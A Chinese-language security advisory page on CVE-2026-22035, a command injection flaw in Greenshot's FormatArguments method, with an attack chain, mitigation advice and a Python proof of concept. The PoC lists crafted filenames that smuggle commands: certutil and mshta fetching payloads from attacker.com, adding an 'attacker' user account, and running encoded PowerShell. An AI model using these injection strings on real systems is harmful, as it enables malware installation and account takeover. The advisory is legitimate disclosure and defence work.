IPBUF安全漏洞报告
English
CVE-2026-22035 CVSS 7.7 高危

CVE-2026-22035 Greenshot命令注入漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22035
漏洞类型
OS命令注入
CVSS评分
7.7 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Greenshot

相关标签

命令注入本地攻击权限提升GreenshotCVE-2026-22035高危漏洞Shell注入截图工具

漏洞概述

CVE-2026-22035是Greenshot开源Windows截图工具中的一个高危命令注入漏洞。该漏洞影响Greenshot 1.3.310及以下版本,源于ExternalCommandDestination.cs文件中FormatArguments方法对用户可控的文件名缺乏安全过滤处理。攻击者可以通过构造包含Shell元字符的恶意文件名,在Greenshot处理截图保存或导出操作时注入并执行任意系统命令。CVSS评分7.7,属于高危级别,攻击复杂度低且无需认证即可实施,但需要用户交互。由于该工具广泛用于日常工作流程,攻击者可利用此漏洞在受害者机器上建立持久化访问权限、窃取敏感数据或部署恶意软件。此漏洞已于1.3.311版本中修复,建议用户立即升级。

技术细节

漏洞根源位于Greenshot的ExternalCommandDestination.cs第269行的FormatArguments方法中。该方法使用string.Format()将用户提供的文件名直接拼接到Shell命令字符串中,完全缺少输入消毒处理。当用户保存或导出截图时,如果文件名包含特殊Shell元字符(如分号、管道符、反引号等),这些字符会被解释为命令分隔符或子命令执行符。例如,文件名`screenshot.png;calc.exe`会导致在截图保存过程中执行额外的calc.exe命令。攻击者可通过钓鱼或社会工程学手段诱导用户保存带有恶意构造的文件名,系统随即以Greenshot进程权限执行任意代码。修复方案采用引号包裹和转义处理,确保文件名作为纯字符串参数传递而非命令片段。

攻击链分析

STEP 1
步骤1
攻击者通过钓鱼邮件、恶意网站或社工手段诱导目标用户下载并安装包含漏洞的Greenshot版本(<=1.3.310)
STEP 2
步骤2
攻击者构造包含Shell元字符的恶意文件名,如'screenshot.png;whoami'或使用反引号、管道符等特殊字符
STEP 3
步骤3
用户使用Greenshot进行截图操作,并在保存文件时使用攻击者提供的恶意文件名
STEP 4
步骤4
Greenshot的FormatArguments方法使用string.Format()将未过滤的文件名拼接到Shell命令中
STEP 5
步骤5
系统在Greenshot进程权限下执行注入的恶意命令,实现远程代码执行
STEP 6
步骤6
攻击者可在受害者机器上执行任意操作,包括建立持久化后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22035 PoC - Greenshot Command Injection # Version affected: Greenshot <= 1.3.310 # Fixed in: Greenshot 1.3.311 import os import sys def create_malicious_filename(): """ Create a malicious filename with shell metacharacters to exploit CVE-2026-22035 in Greenshot """ # Shell metacharacters for command injection # Using semicolon to chain commands malicious_names = [ 'screenshot.png;whoami > C:\\temp\\pwned.txt', 'screenshot.png|certutil.exe -urlcache -split -f http://attacker.com/malware.exe', 'screenshot.png`calc.exe`', 'screenshot.png$(powershell -e base64encoded_payload)', 'screenshot.png&&net user attacker P@ssw0rd /add', 'screenshot.png||mshta.exe http://attacker.com/evil.hta' ] return malicious_names def generate_payload(): """ Generate example malicious payload This would create a reverse shell or execute arbitrary code """ payload = ''' # Example: Create a file with execution result # In real attack, this could be: # - Reverse shell connection # - Malware download and execution # - Privilege escalation # - Data exfiltration import os cmd = 'calc.exe' # Simple proof of concept os.system(cmd) ''' return payload def main(): print("CVE-2026-22035 - Greenshot Command Injection PoC") print("=" * 50) print("\nAffected Versions: Greenshot <= 1.3.310") print("Fixed Version: Greenshot 1.3.311") print("\nVulnerable Code Location:") print(" ExternalCommandDestination.cs:269") print(" FormatArguments() method") print("\nMalicious Filenames:") for name in create_malicious_filename(): print(f" - {name}") print("\nNote: User interaction required to save/export screenshot") print("with crafted filename through Greenshot application.") if __name__ == "__main__": main()

影响范围

Greenshot < 1.3.311

防御指南

临时缓解措施
临时缓解措施:在等待官方更新期间,用户应避免使用Greenshot保存包含特殊字符的文件名,尤其是分号(;)、管道符(|)、反引号(`)、美元符($)、&&、||等Shell元字符。同时建议启用Windows Defender或其他终端防护软件实时监控可疑进程行为,并考虑使用应用白名单功能限制未经授权的程序执行。对于高安全需求环境,可暂时禁用ExternalCommandDestination功能的外部程序调用配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表